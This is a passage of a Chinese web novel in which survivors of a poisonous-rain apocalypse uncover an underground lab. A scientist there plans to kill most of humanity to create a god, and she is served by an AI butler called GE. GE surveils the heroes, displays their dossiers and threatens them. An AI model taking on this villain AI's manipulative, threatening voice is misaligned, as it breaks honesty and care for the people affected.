所以相对来说,林随遇和程承的异能的攻击性会更强一点。
但怪就怪在,过山车分组将他们俩放在一起,同时加了一个嘉年华小队中最强的冯辉,除此以外别无他人。
这就跟田忌赛马是一样的原理,故意将强者放在一起,其他三人分散在三条线路上,让三条线上的实力都保持在低水平,从而保证三个车厢中的死亡概率骤增。
而伏苓那个车厢的分组就更加加大了这一点,以伏苓的高战力来说,只要车厢内再来一个稍微有点战斗能力的异能者,他们那个车厢完全可以保证零伤亡。
然而,与伏苓一队的确是毫无异能的感染者秦晚,以及丝毫没有攻击能力的小丁。
林随遇他们在与冯辉闲聊时,曾询问过他们小队每个成员的性格和异能。队伍里七个人,有五个的异能是攻击能力,剩下两个辅助异能者中,只有这个小丁的异能对其他人毫无作用,只能保全自己。
能活到现在的人或多或少都是自私的,当遇到危机情况,大部分人都会选择牺牲他人,保全自己,再加上小丁的异能本就极其适合自保,也就导致了小丁在感染者突袭中会下意识选择隐身,这也就导致了伏苓无法观测到他的具体位置和情况。
也就是说,小丁被分在伏苓那队里,目的就是拉低整体攻击水平,从而逼迫他死在过程中。
“可是核心真的会想这么多吗?”祝无忧缩着脖子问道。
就算核心拥有了自我意识,它真的可以像一个高智人类一样去思考、预判一个人的行为和结果吗?
“核心未必可以。”程承说:“但如果有人在背后操控它,就没问题了。”
“操控?”林随安皱了皱眉,意识到背后隐藏的真相有些过于庞大和可怕了:“谁能操控核心?”
“可是——”祝无忧默默举手:“核心不是跟异能,还有这场灾难联系在一起的吗?”
“也就是说,”林随遇看向前方,目光沉重而深远:“如果我们的猜测是正确的,这场灾难可能真的是人为的?”
他呼吸有些不畅,百思不得其解:“可是为什么?这场灾难对谁有什么好处吗?”
出身在军区的孩子心中想的都是如何护着百姓周全,从未想过会有人要拿整个国家的百姓性命来换取自己的私利。
“我还有一个疑问。”伏苓坐直了身体,语气轻轻:“这里的人去哪了?”
车子缓缓驶过藏身沙漠中的小镇,沙土攀上房屋,裸露在外面的一切都被沙土笼罩,看上去似乎已经很久没有人生活在这里过了。
“其实当时在金城的时候,我们就觉得有一点不对劲。”林随安转过头:“我们开着车走过的路线,附近基本上毫无人烟。现在这么一看,岂不是整个陇原省都没什么人了?”
车子颠簸了两下,从公路上下来驶入了黄沙之中,身后镇子渐渐远去。
祝无忧扒着窗户:“我们到底要去哪里啊?感觉好像前面都没什么人的痕迹。”
车轮卷起层层黄沙,宛如金色的波浪翻涌。周围一望无垠的黄沙之中,渐渐出现了树木的影子。
“那是防护林吧,我还没见过呢。”祝无忧兴冲冲地说。
“对,应该是梭梭树。”林随安道。
说是防护林,其实那一排排树木已经被摧残得差不多了,含有腐蚀性的雨水打在枝干上,植物多半是活不了的。
但除了这些被雨水毁掉的树木,也有一条藏在歪倒的树木中间的道路,一看就是被人工踩踏推倒的。
“看来这地方曾经应该有过很多人来。”林随安观察着周围:“如果只是几个人的话,应该不至于把树木毁坏到这个程度。”
天空又变阴了,似乎正在酝酿着一场大雨。
伏苓看程承始终皱着眉,问道:“怎么了?”
众人都看了过来,程承摇摇头:“没事,就是突然有点心悸。”
林随遇笑了起来,开玩笑道:“看来接下来要遇到的确实危险,连程承都心悸了。”
他顿了顿:“其实我也有点。”
祝无忧一脸沉重地模仿他:“其实我也有点。”
几人又笑了起来,林随遇打趣道:“你也来凑什么热闹?”
祝无忧瞪大眼睛:“怎么了怎么了,我不能心悸吗?你们这是刻板印象!”
车辆越过片片防护林,在一片空旷之处缓缓停下。
“已到达目的地,目的地在您右侧两米处。”S47发出清晰的电子音。
“目的地?”祝无忧拉开车门,将手举在额头上东张西望:“在哪?这不都是沙子吗?”
林随遇从车头绕过来,目测了一下距离,在S47所说的地方踩了两脚,沙土浅浅地往下陷了些。
众人目光一凝,程承蹲下将手覆在沙土之上:“在这下面?”
沙土虽然一直缓慢向下流动,但上层沙土似乎很多,好半天都没有大的进展。
林随遇:“我来给它轰开吧。”
众人往后退了退,林随遇一记光炮将沙石贯穿,露出了一个可两人并排通过的洞口。
洞口边缘的流沙还在缓缓向下流淌,程承凑过去了点,洞内一条简易的楼梯向下延伸,大约深入了四五米后停在一处木门外。
林随遇将洞口弄大了些,有些意外:“还真在沙子下面啊?”
他率先踩上楼梯,小心翼翼地使了点劲才将重心放上去。几人依次跟上。下了两个台阶,林随安脚底一滑,手下意识按在一侧的沙壁上。
林随遇回头拽住她,朝后面叮嘱:“楼梯上全是沙子,很容易摔倒,大家注意安全。”
但林随安却没回答他,随着手掌拿开,侧边墙壁上沙石滑落,露出了些许纹路。她凑过去,将沙子掸开露出全貌:“这是……壁画吗?”
众人都凑了过来,只见沙石之上,棕色的纹路断断续续,却能看出个大致画面——一片起伏的沙漠,以及一片被风沙侵虐的村庄。
祝无忧挠了挠头:“这啥意思?”
林随遇往下走了两步,拨开下方墙壁上的沙石:“下面应该还有。”
他面前的壁画画着数个火柴小人,踩在沙漠的树苗之上,边缘还有几个小人——多半是指的孩童,正在将树枝折下玩闹。
这画似乎缺了一块?
程承立马转头对着另一侧的沙壁拍了拍,这边也同样有着壁画,是一个老人正弯着腰种树。
程承道:“散着看有点乱,我们把这些壁画都弄出来。”
几人行动迅速,飞快将两侧的壁画都清理了出来。将壁画内容都整理一下,大概是简单讲了一个小故事。
第一幅壁画是林随安发现的那幅,沙漠本身没有树木,风沙毫无阻拦地刮向村庄。
祝无忧摸了摸她身侧的壁画:“第二幅应该是我这边的,有个老爷爷决心在沙漠中种下防护林,并且世世代代为之努力,种成了一大片防护林。”
第三幅则是林随遇发现的那幅,在防护林的保护下,深埋沙漠的村庄成为热门的旅游景点,游客肆意踩踏树木。
“老爷爷极力阻止,但人微言轻。”伏苓抱着臂,神色淡淡:“最后病重去世了。”
林随遇挠挠头:“这跟雨灾有什么关系?”
“哦!我知道了。”祝无忧跳上来:“因为大家都不爱护环境,所以雨灾降临。毁天灭地。”
林随遇一脸无奈地看她:“然后?”
祝无忧得出结论:“告诉我们要保护环境。”
林随遇转头就走:“我就多余听你这话。”
他走到最下方的台阶上,小心翼翼地推了推木门。
祝无忧还跟在后面嘟嘟囔囔:“怎么了,我觉得我说得挺对的啊,我小时候语文还拿过一百分呢。”
“门没锁,我直接推了?”林随遇转头询问大家的意见。
祝无忧立马捂住嘴跳到了伏苓身后,小鸡啄米似的点头。其他人也摆出防御姿势,林随遇小心翼翼地推开门。
沙土如灰尘般飘在空中,细小的光从缝隙中照入,映出点点光芒。
林随遇扫了一圈,放下戒心:“没人。”
他推开门,率先踏入埋在沙土下的小屋子里。屋内陈设简单,一张床,一张桌子,角落里还有一些种树的工具,无一例外都落上了厚厚的尘土。
林随遇在屋里转了一圈,敲了敲墙壁:“居然是实心的。”
按照一般电视剧情节来看,应该有密道的呀?
不然为什么S47指向这边?
林随安环视了一圈:“这边应该就是那位老爷爷的家了。如果壁画是真的,那这里应该早就没人居住了。”
“没人居住的地方才更容易做一些见不得人的事情。”程承跪在地上看了看床底,他站起来拍拍手上的灰尘:“什么都没有。”
伏苓靠在门上,等了他们一会,见毫无发现才迈开步子走了进来:“什么都没有?四周墙壁没什么问题,那就在地面。”
话音未落,一道红光从她耳侧射出,不知触发了什么机关,整个房间猛烈地颤抖起来,墙壁上的灰尘沙石哗啦啦地往下掉落,角落的工具倒在地上,发出刺耳的声音。
祝无忧吓得扶住了一旁的桌子:“怎么回事?要塌了?”
程承飞快朝着门口赶来:“先离开……”
他的话语被猛地关上的木门打断,他一惊,红雾凝成箭矢射向木门。
红雾撞上木门,扬起阵阵灰尘,明明刚刚还脆弱得不堪一击的木门却在此刻纹丝不动。
还未等其他人有所动作,整个屋子仿佛一个卡了带的轿厢脱离链条,向下方跌落!
强烈的失重感袭来,一旁的桌子腾空而起,林随遇抓住墙壁,骂道:“什么玩意!这是自由落体吧?”
林随安迅速下蹲,厉声喊道:“蹲下!”
整个屋子以流淌的沙石为锁链,四周的沙壁为轿厢,构成了一个安全性未知的电梯,以极快的速度向下滑落,仿佛根本不需要减速停下般。
也不知下降了多少米,又仿佛只在几瞬之间,屋子下方似乎是撞上了厚重的沙石,发出沉闷的巨响。
红雾铺开,几人被震得猛地撞上天花板,又被红雾拦截,惊魂未定地落在地上。
祝无忧呆呆趴在地上,嘴里不住地“卧槽”着,明显是吓得不轻。
林随遇甩了甩脑袋,将头上的沙土掸开,嘴里骂骂咧咧:“我就不信了,他们内部人员也坐这个下来上班吗?”
“叮咚”。
清脆的电子音响起,几人精神一紧,猛地朝着声音发出的地方看去。
木门的缝隙里喷出白色的气体,随着电子音的响起,缓缓向两侧拉开,白色的光照入屋子。
*
与此同时。
集庆军区内。
无数无人机排列整齐地朝着四面八方飞去。
谢增眉宇忧愁不减:“真的能行吗?”
方休笑了笑:“放心,你要相信伏苓。快去广播吧。”
谢增“嗯”了一声,拿起对讲机道:“立刻开启全国性广播,让所有民众以最快速度赶到城市里最大的建筑内,时间非常紧迫,要快!”
*
程承挡在最前面,目光凌厉,但看清外面是什么的那瞬间,他陡然僵在原地。
门外是一条长长的通道,两侧被白色的光墙覆盖。通道的尽头是一个类似于实验室的门,表面光滑如镜,反射出冷色调的LED灯光。
而在一切之上,是一尊几近十人高的巨大雕像。
它矗立在实验室的后方——不,或者可以说,在实验室的上方。雕像呈现淡淡的金色,却又似乎只是用沙石所制造,它交叠着双手,仿佛手中掌握着无形的力量。
而那双手的十指被缠绕上了无数根红色的丝线,远远看去,红线还在缓缓起伏,如同富含生命的血管。丝线向下垂去,尾端落入两侧墙壁之外。
祝无忧捂着嘴,手指颤抖着指向那尊雕像的面庞,声音都变了调:“伏……苓……”
伏苓顺着她指的方向向上看去,一向波澜不惊的眸子也猛地瞪大。
只因为,这尊雕像的脸,与伏苓的脸一模一样。
空气仿佛凝固,压得人喘不过气来。好半晌,僵硬的氛围才被林随遇打破,他似乎也受到了极大的精神污染,犹犹豫豫问:“这……这么大手办啊?”
林随安也缓过神来,迅速开始整理当下的情况:“这应该是神像吧?表面好像还镀了金光,但是太远了不太能看清。也就是说,这里的人把伏苓当成神?”
“我看未必只是当成吧。”程承声音冷冽,他一只手紧紧拽着伏苓冰凉的手:“你看神像手上的东西,似乎是在向神像里输送着什么。”
“我猜,他们是想造神。”
祝无忧有些害怕地捏住伏苓的衣角:“伏苓,这是怎么回事啊?”
伏苓沉默两秒,摇摇头,声音带上了些许哑意:“我不知道。”
她确实什么都不知道,自始至终,她的父母什么都没有告诉她,仿佛她只是一个局外人,一个为科学、为实验、为这所谓的神像奉献生命的无足轻重的人。
祝无忧小心翼翼地握上了她另一只手,小声道:“没关系没关系,不知道也没事,你看,我也什么都不知道。”
林随安却看着那些红线发愣:“我在昏迷中,就是被这些红线困住的。”
伏苓偏头问道:“一模一样吗?”
林随安又仔细看了两眼,道:“对,一模一样。因为我记得很清楚,当时的红线并不是一团死物,而是拥有生命,类似一个个活生生的动物一样,可以呼吸的线。”
众人又沉默了一瞬,这红线多半有猫腻,但到底是什么情况还是不得而知。
程承缓缓吐出一口气:“不管怎么样,我们先往前走吧。”
前方通道的地面被白光笼罩,但踩上去却是另一种触感。
林随遇跺了跺脚:“好像是沙子铺的。”
“也很正常啦。”祝无忧紧紧贴着伏苓,小声回应:“这地方可是在沙漠的下面,能挖出个这么大的空间我已经很震惊了。”
林随安瞧了瞧墙壁,传来的声音不似正常的墙壁回声,反而多了点清脆。她思索了片刻:“感觉像是……玻璃?”
“哪有玻璃是这个样子?”林随遇笑了起来,指着高处的神像说:“这要是玻璃我把‘伏苓’吃了!”
话音未落,两侧墙壁突然冒出来一束光,飞快地从木门处滑向前方。
林随遇“额”了一声:“真要我吃啊?”
程承有意无意地挡在伏苓身前,目光小心地打量着周围:“还是别叫那雕像‘伏苓’了,听着怪瘆人的。”
伏苓赞同地点点头,她顿了下,似乎是听到了什么,侧耳半晌,问道:“你们有没有听到什么声音?”
“什么声音?”林随安关心地看了她一眼,正准备侧耳听听,两侧的墙壁上突然亮起了画面。
伏苓深深皱起了眉。
在她的右侧的墙壁上,是一个关于她的信息——
【姓名:伏苓
性别:女
异能状态:无能力者
基本信息:常使软剑,能量枪,性格乖张,嗜战
危险等级;SSS】
什么情况?
这里为什么会有她的信息?
她死死盯着墙壁上出现的信息字样和信息上方她的证件照,呼吸急促了起来。
但她很快意识到不对,因为其他人都没有声音了。
伏苓猛地转过头,看到所有人都呆立在原地,而在前方的两侧墙壁上,依次罗列了他们五人的全部信息。
【姓名:程承
性别:男
异能状态:血液异能者
基本信息:冷静,理智,疑似恋爱脑,异能全面,攻击力极强
危险等级:SS】
【姓名:祝无忧
性别:女
异能状态:卡牌异能者
基本信息:性格活泼,控制位,基础攻击力低,但与他人组队极其难缠
危险等级:A】
【姓名:林随遇
性别:男
异能状态:光系异能者
基本信息:前集庆军区队长,大多情况不正经,遇到大事才会认真对待,疑似妹控
危险等级:S】
【姓名:林随安
性别:女
异能状态:空间异能者
基本信息:前集庆军区队员,遇事冷静理智,智商极高,但意外地很重感情
危险等级:S】
五人的照片、信息被播报在墙壁之上,像是无声的挑衅——
你看,我对你们多么了解,而你们对我,却一无所知。
伏苓罕见地从心口涌上一阵愤怒。
她可以接受自己的父母不在乎自己,可以接受他们将自己打造成恶心的雕像,可以接受他们将毫不知情的她拉进巨大的阴谋里,但她绝不能接受这些人将自己身边的伙伴也拉进深渊!
她猛地抽出软剑狠狠砸在墙壁之上,刀刃划过墙壁发出刺耳的声音,足以证明伏苓这击用了多大的力气,但即便如此,两侧墙壁居然纹丝不动。
其他人被这声惊得回过神来,林随遇难地有些呼吸不畅:“怎么回事?他们怎么会知道我们的信息?还了解得这么全面?”
“有人在监视我们。”林随安语气冷静。
祝无忧不满地嘟囔:“凭什么只有我是A?我也要S!”
程承:“……你关注点还挺清奇的。”
“你们终于来了。”机械音在密闭的空间里响起,尾音回荡在走廊中。
声音出来的那一瞬,伏苓迅速锁定方向,她一脚踩上墙壁,身子在空中旋转将软剑甩去,击碎了藏在角落里的扬声器。
“让您生气,我感到非常抱歉。”机械声从另一侧响起。
伏苓正欲继续,却被程承拦住。他一把抓过伏苓的胳膊,轻轻摇了摇头:“别在这个上面浪费体力,之后还不知道要遇到什么。”
伏苓皱了皱眉,心不甘情不愿地停下了动作。
“很高兴您愿意与我交流,我是这里的AI管家,god''sepigone。你也可以叫我,GE。”标准的男声在走廊中响起,带着极度的恭敬。
伏苓浑身一僵,耳朵上本来早就习惯的眼镜仿佛在一瞬间烫伤了她的皮肤。
GE?难道说他们的信息都是被GE泄露出去的?
方休……他也是计划里的人?
伏苓的呼吸变得颤抖,要说怀疑,她自始至终都没有怀疑过的人,就是方休。
那是唯一坚定不移地站在她身后,陪伴她,鼓励她的人。如今,这份感情也是假的吗?
“啊,我的伏苓大人,我知道您在想什么,方休确实曾经在我们的团队里。但很久之前,他就已经背叛我们了。”GE的声音略微有些失真:“很可惜,如果他能始终站在我们这边,我们的研究会更加顺利,也就不会需要用到整整八年才达到我们想要的程度。”
“你们到底想干什么?”林随遇忍不住怒骂出声:“八年?研究?你们到底在做什么?这场雨灾是不是跟你们有关?”
“哦不不不,林随遇先生,您说错了。我们哪有那么大的能力创造出一个足以毁灭世界的灾难
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?这场雨灾不正是你们人类咎由自取吗?”GE笑了笑:“所以说,世界还是应该由我们来创造,如果我们不能创造一个世界,那就只能试图去改变这个世界。”
林随安嘲讽地笑了笑:“我有一个问题,既然你这么厉害,怎么没能像金城一样,做出一个你的全息投影?”
“金城嘉年华中的某些科技,的确是从我们这里泄露出去的,之所以泄露,是因为——”GE顿了顿:“我们根本就不需要。”
“我的存在就是为了我的神明,而我则正如我的名字,是神明的追随者的一个代表,一个集合。我当然不需要一个具体的形象。”
god''sepigone——上帝的追随者。
一个人工智能取这么嚣张的名字,想必这个AI的创造者做的事情也是极度嚣张的。
这就与他们所猜想的相吻合——造神。
“想必你们通过墙壁上的信息就能知道,我们对你们了如指掌。”GE说,“你们的异能、性格,甚至接下来可能会做出来的行为,都被我们用大数据分析出来了。如果你们识相的话,不如乖乖顺从,否则,你们的下场会怎么样,我可不能保证哦。”
他话音落下,两侧墙壁突然如同关了灯一般,光芒和文字都在瞬间消失,变成了一个宛若无物的玻璃墙。
而在墙的外面,站着成千上万的,如同排列着的兵马俑一般的感染者!
祝无忧惊叫一声:“这什么啊!”
几人迅速背对背包围成圈,程承额角的冷汗滴落。
谁都没有想到,看上去平平无奇的墙壁,外面居然隐藏着密密麻麻的感染者。
有几个靠得很近,近到伏苓都看清了他们脸上如百年老树枝干一般的红纹,蔓延至脖颈。
程承飞快确定情况:“这些感染者应该要比我们之前遇到的都强。”
林随遇“哈”了一声:“这还用猜?”
“各位不用紧张,这里的玻璃很坚固,他们暂时不会进攻的。沈小姐还有事情要跟你们说,我怎么会在这里就把你们杀掉呢?”GE缓缓道,明明是毫无感情的语调,却平白让人听出了浓浓的恶意。
前方像实验室一样的大门闪了两下,似乎在彰显着自己的存在。
GE似乎是说完了,接下来数十秒都没再有动静。
伏苓垂眸,放下手臂:“往前走吧。”
程承看她:“沈小姐是……”
伏苓声音淡淡:“应该是我妈,沈文乔。”
周围安静了一瞬,林随遇问:“听这玩意的语气,似乎你妈妈地位挺高的啊?”
伏苓没说话,半晌,她才小声说:“我不知道。”
墙壁又变回了原本的白墙,几人的信息再次浮现出来。
林随安看着墙上的文字叹了口气:“这种被人扒干净还大剌剌展示出来的感受真是难得。”
她摊手,语气无奈又带着玩笑:“偏偏我们还束手无策。”
“束手无策也只是暂时的,找到AI的主机,干碎它,事情就结束了。”林随遇无所谓地说着大话,将她的脑袋扳回来:“别看这些乱七八糟的了,我看未必就准。”
“我看人家说得挺准的。”周围不再有东西突然跳出来吓人,祝无忧紧绷的神经稍稍松懈:“你是不是怕随安看到你妹控啊?”
林随遇顿时急了:“什么妹控?哪有妹控?就算是妹控又怎么了,总比恋爱脑好吧!”
无辜被波及的程承:“……”
感受到一旁的伏苓饶有兴致地看过来,又转过头盯着墙上的信息看,他叹了口气:“你们吵架别带上我啊。”
但话是这么说,经过这几句的打闹,几人间凝滞的氛围也稍稍轻松。
伏苓“诶”了一声:“看这边。”
他们此时已经走过了走廊了大半,贴满几人信息的墙壁被甩在后面,而在他们所占位置的左右两边换上了新的文字——
【无异能者的噩梦集团——临安】
【守护者的黑色堡垒——集庆】
【永不停靠的轮回——G001列车】
【充满恶意的和平——荥城】
【百世同堂——丰镐】
【深埋黑暗的飞车——金城】
而在每一个地点的旁边,都有着一块类似屏幕的显示屏,循环播放着他们在当地的画面。
林随遇摸摸下巴,微微弯腰端详着:“看来是把我们途径的地点也监视到了啊。”
林随安看向伏苓:“是从临安开始的,刚刚那个AI不是说,方休曾经是这里的一员,会不会是他给你的东西被这里的人攻破了?”
“比如眼镜?”祝无忧有点紧张:“要不伏苓你把GE扔了吧?”
“不。”程承摇摇头:“我觉得不太可能是GE。方休能在一穷二白没有任何技术辅助的情况下造就一个地下之城,足以证明他的水平——至少,我不觉得他会把被入侵的眼镜天天带在自己身边。”
林随安赞同道:“没错。那AI说的未必就都是真的,也可能是在挑唆,引诱我们毁掉GE。我觉得,说不定这眼镜之后能起大用处。”
几人直勾勾地看向伏苓,似乎是在等着她做决定。
伏苓扫视过他们每个人,叹了口气:“先留着吧,我相信方休。”
走廊尽头的门看着几乎要与两侧的墙壁融为一体,光滑又平整。
而在墙壁外,几人没有注意的角落里,一个感染者的手指轻轻一动。
祝无忧左右端详着面前的门,皱着脸:“这门不会也是镜子吧?”
“有可能。”林随安说,“这种材质的确很像。”
门上不知从何处扫来一阵红光,在扫到伏苓的瞳孔时短暂停了一下。
滴滴滴——
门啪嗒一下向左右滑开,伴随着恭敬的AI声:“欢迎回来。”
里面是一个巨大的实验室,最中央有一个圆柱形的电梯连接天际。四周散落着各种各样摆着仪器的实验桌,乱七八糟的试剂放得到处都是。
而最令人毛骨悚然的是,在实验室边缘的四周,放着数个感染者。
伏苓下意识数了一下,十七个。
他们被关在坚固的透明培养米中,周身灌满了透明试剂,此刻正闭着眼睛,似乎早已死去多时。
而在一个感染者的前方,站着一位身着白色研究服的女子,听到开门声,她缓缓转过身来,露出清丽的脸庞。她的目光与伏苓隔空相撞:“伏苓,你来了。”
陈述的语气,仿佛她早就料到伏苓会抵达这里。
“嗯。”伏苓扯了扯嘴角:“……妈。”
沈文乔笑了笑,没应这声。她抬手示意了一下一旁的座椅:“坐吧。”
“还是不了吧。”林随安冷冷看着她:“我们之间的关系可能还没到能促膝长谈的地步。”
沈文乔愣了一下,靠在了身后的桌子上:“你说得对。我们现在的氛围应该算是……剑拔弩张吧?”
她耸了耸肩:“看样子,你们应该有很多问题想问我?”
“这里只有你一个人吗?你的团队呢?”程承问。
沈文乔看着他安静了一会,程承被盯得有些拘谨,片刻才意识到这人早就知道他们所有信息,她知道程承和伏苓在一起了。
程承一阵头大,这怎么说?自己还要喊她丈母娘吗?
沈文乔笑了一声,没纠结这件事,她歪了歪头:“我的团队,不就在你们眼前吗?”
诺大的实验室,分明空无一人,除了……
林随遇绷紧身体:“你把他们都弄成了感染者?”
周围原本没什么压迫感的感染者陡然变得可怖起来。
“不不不。”沈文乔笑道:“不是我把他们,是大家自愿的呀。为了我们的神明贡献出自己的身体,这是一件荣耀的事情,大家都会抢着去做的。”
伏苓不知何时晃悠到了一旁的感染者前面,盯着看了会才问:“那我爸呢?”
“他?”沈文乔微微俯身,笑得有些无辜:“他和我作为发起者,自然要当表率啊。所以我活着,他,为你献身。”
她轻飘飘指向电梯后面的那个感染者:“你看,他就在那里哦。”
众人顺着她指的方向看去,电梯后的培养罐内静静站着一个闭着眼睛的男人,容貌与伏苓有七分相似,惨白的灯光透过透明的壁面洒在他身上。
祝无忧哆嗦着挡在伏苓身前,小声说:“别看别看,没什么好看的。”
一片死寂中,伏苓却低头嗤笑一声:“可别恶心了,还为我献身。”
她拍了拍祝无忧的肩膀,将她拉到自己身后,目光直射向沈文乔:“别说废话了,你们到底想做什么?”
沈文乔无辜道:“不是你的小男朋友问的吗?”
程承:“……”
沈文乔直起身,双手插在口袋里:“行吧行吧,你可是我们计划里最重要的一环,都到这时候了,也没什么必要瞒着你。”
在大家紧张的目光中,沈文乔靠近了伏苓两步,直勾勾看着她:“你不觉得,世界上的人太多了吗?”
伏苓微微皱眉:“什么?”
沈文乔笑了起来,她仿佛好奇的孩童,述说着自己天真的见解:“一个星球的资源是有限的,能承受的生物数量也是有限的。一旦超过临界值,所有人都会活得很累。原本我是为了自己,后来我发现了这个道理,我意识到我的压力、痛苦都来源于超负荷的人类数量。”
“时至今日,我的所作所为已经不再是单单为了我自己,更是为了这个世界。如果世界上的人类死掉一半——哦不,至少死掉三分之二,剩下的人不就能轻松一点了吗?地球不就也能轻松一点了吗?这是双赢啊!”
林随安难以置信:“你知道你在说什么吗?”
沈文乔没管她,此刻她的眼中只剩下了伏苓的身影,她往前走了两步,语速加快:“但是如果只是死了那么多人,社会的秩序还是不能被我们控制,我们依旧是秩序掌控者手下的炮灰,是神明挥挥手就能毁掉的蝼蚁。”
“所以我想出了一个好办法。”沈文乔微微俯身,目光狂热而疯狂:“我要造出一个神明,一个能比肩旧神,高高凌驾于一切之上的神明。”
72. 沙土下的罪恶02
她摊开手:“你看,伏苓,我将这个成神的机会让给了你。你是我从小开始培养的神明候选人,你从小到大的一言一行、一举一动都被我严格管控,如今的你——”她顿了顿,看着伏苓半晌,才满意地笑了出来,“多适合做操控一切的神啊!”
伏苓看着她,愣在原地。
她早有预料,自己被隐瞒、被欺骗,又或者可能不被父母爱着,但从来没有想过连自己的出生都带着父母滔天的利欲。
祝无忧猛地窜出来,挡在两人之间。她气得脸都红了,肾上腺飙升让她的身体微微颤抖,压下了恐惧:“谁要你给的机会!你问过伏苓的意见吗?你问过死去的那么多人的意见吗?别说得那么道貌岸然,既然你觉得世界上人太多了,你怎么不去死?凭什么要其他人死?你说的神明那么厉害,你怎么不去做?少在这慨他人慷了!你就是自私,就是想用其他人的生命换取自己的利益!”
伏苓有些愣怔地看着她,小姑娘紧紧咬着后槽牙,原本白皙的皮肤染上愤怒的红色。
她是在为我生气。
伏苓忽而展颜笑了起来。
大多数人一生都在追求父母的爱,用尽一切办法去证明父母是爱自己的,但有时候却会忘记,身边毫无血缘关系的朋友伙伴的爱也同样重要,同样可以为之抵抗世界。
伏苓几乎冷却的心脏再次跳动起来,她紧紧握住祝无忧的手,冷静看向沈文乔:“然后呢,你们想要怎么做?”
察觉到伏苓情绪的稳定,沈文乔的目光更加炙热。
对于一个神明来说,情绪的稳定是非常重要的一件事情。
人类之所以被称之为是人类而并非神明,就是因为自身被诸多感情所困扰,从而情绪起伏变大,做决定的时候也会更加感性。
数十年的独自生活已经让沈文乔失去了对感情的感知能力,只能堪堪察觉到对方的情绪。
在她看来,伏苓此刻愈发与她心目中的神明所重合,她怎么能不兴奋?
她猛地上前一步:“造神可不是个容易的事情呀,人类固然渺小,但集合起来却足以撼动世界。我要集合无数人的生命、血肉,用来滋养我的神明。”
“八年前的雨灾便是一个机会,原本雨水中的病毒只会让人变成感染,我费尽了办法,让能带去异能的药剂与雨水一同降落,筛选出了体质合格的人成为异能者,这些异能既是你们的一把刀,也是偷走你们生命的管道。至于感染者,他们的血肉将被作为砖石,铸就神明的肉身。”
这句话隐含的信息太多了,众人脸色大变。
沈文乔满意地笑了:“我想你们应该已经发现,你们的异能与自己的身体完全融合了吧?等伏苓走进心脏,全世界的异能便会裹挟着他们能携带的最大生命力量回归各城市的核心,最后流到这里。”
说到这里,她有些无奈地耸了耸肩:“不得不承认,你们毁掉核心的计划很有效。核心破碎后,我的确无法再回收异能了。不过——”她又笑了起来,“等伏苓成神的时候就不一样了,被雨水侵蚀的土地会变成吸收生命的海绵。该死的,依旧要死。”
林随遇攥紧拳头,目光狠戾:“也就是说,异能脱离人们身体之后,所有人都会死?”
沈文乔看来他一眼,无所谓道:“是啊。”
祝无忧抓住伏苓的衣角,捂着嘴惊恐地睁大了眼睛。
“你在骗人。”程承声音冷静,目光如同一把利剑看透了沈文乔的心思:“我猜,只有异能融合的足够充分的人才会死去吧?如果有人的异能融合得还不够充分,那么异能能带走的生命有限,也就不足以致命。”
沈文乔挑了挑眉:“很聪明嘛。”
林随安没参与对话。
刚刚沈文乔提到了异能回收的限制是可以被打破的,原本异能只能携带它所能携带的最大生命,但如果异能者身死是不是就能够回收所有的生命力量了?
她喃喃自语:“怪不得金城的核心一定要我们在毁掉它之前坐上那台过山车,就是为了吸收更多生命能量?”
“多半是了。”林随遇与她低语:“必须阻止她,不然会有很多人死去。”
“我听到了。”沈文乔的声音陡然响起,带着发现秘密的雀跃。
两人立马闭嘴。她却毫不在意:“没关系,我早就猜到你们会想杀我,所以特意和系统绑定在了一起,我一旦死去,异能会立马以最粗暴的状态回收,回收的能量其实没什么变化,就是稍微有点暴殄天物,因为,所有人都会死在这场造神的过程里,这样的结果,我其实是不太能接受的,我还是更希望能活下来一些人。”
她轻轻叹了口气,似乎颇为苦恼。
“哦对了。”沈文乔又笑了起来:“我早就不想再等了,你们进来之前应该知道快下雨了吧?”
几人死死盯着她。
这场雨……
“对呀,这场雨就是最后通牒。”沈文乔眼睛都笑弯了,显得格外甜美:“我猜到你们会不愿意让伏苓成神,所以特意安排了这一出,就是为了防止你们采用拖延战术。雨淋到人后,跟我死了之后的情况是一样的,反正都得死,不如还是让伏苓成神,好歹救下一些人呀?”
程承心下一片绝望。
这完全是死局。
她这是在逼他们在三个选择中选——拖,杀了沈文乔,以及让伏苓成神。
但无论怎么选择,结果都是一样的。该活下来的人会死去,不该活下来的也会死去,整个世界会沦为炼狱,哀号遍野。
如果他们不能改变什么,又怎么对得起一路上的颠沛流离?
沈文乔脚下的地板突然抬起,将她整个人托起,向后飘去。沈文乔示意他们看向电梯:“从这里上去,可以抵达神像的心脏,只要Z357号过去,神明就会在此诞生!”
说到最后,她的表情变得狂热,如同祭祀典礼上疯狂信仰邪神的信众。
“什么Z357?”程承问道。
沈文乔“啊”了一声,她捂着嘴:“我没有说吗?”
她笑眯眯地看着程承:“就是你呀。”
伏苓猛地抬眼,一记软剑甩出去,沈文乔脚下的机器动了起来,惊险地避开了那道足以将人劈成两半的刀刃。她原先所在之处的后方被整个劈开,桌子仪器都从中切开,散落在地上。
伏苓冷冷看着她:“你找死。”
沈文乔捂着胸口伤心道:“好过分啊,都不叫妈妈了。”
她意有所指地看向程承:“但是,你的小男朋友应该已经猜到了吧?”
伏苓回头看去。程承垂着眸,眉头紧紧皱着。祝无忧小声喊他:“你知道什么了呀?”
沈文乔笑眯眯地看着他,程承抬头,对上了她的眸子:“你说的,是我的异能吧?”
他早就知道血兔的不对劲。血兔对伏苓的态度,异能的独特性都预示着它的不同寻常。程承一路上都在思考,它到底有什么用处?它在整个事件中又扮演了什么角色?
如今,在知道沈文乔想将伏苓打造成神时,他立马想到,血兔的作用一定与造神息息相关,它多半是造神的最重要的步骤之一。
“没错。Z357,也就是你体内的小兔子,它可是所有异能中最核心的一个,是所有异能的起源点,我挑了好久才挑中了你作为这个异能的载体,没想到还挺有缘分。”沈文乔说。
众人面色难看,沈文乔却是依旧一副无事发生的模样:“伏苓,有些话想跟你单独说,但是还是留在你将载体献祭之后吧。”
说完,她脚下的机器托着她缓缓后撤,身后的门打开,她退入门内,笑容意味深长:“那我就先走咯,祝你们,玩的愉快。”
门砰的一声关上,与此同时,实验室内如同死去一般的感染者陡然睁开了眼睛。
祝无忧“卧槽”一声,缩到几人中间:“什什什么情况?”
周围的墙壁由冰冷的白色转变成透明,露出了墙外成百上千的感染者。
哗啦——
玻璃破碎的声音传来,众人猛地朝着声音的来源看去,只见那位声称是伏苓父亲的感染者手臂抬起,自胳膊肘往下都捅出了玻璃之外。
林随安顿觉不妙:“糟了,他们应该是要攻击我们。”
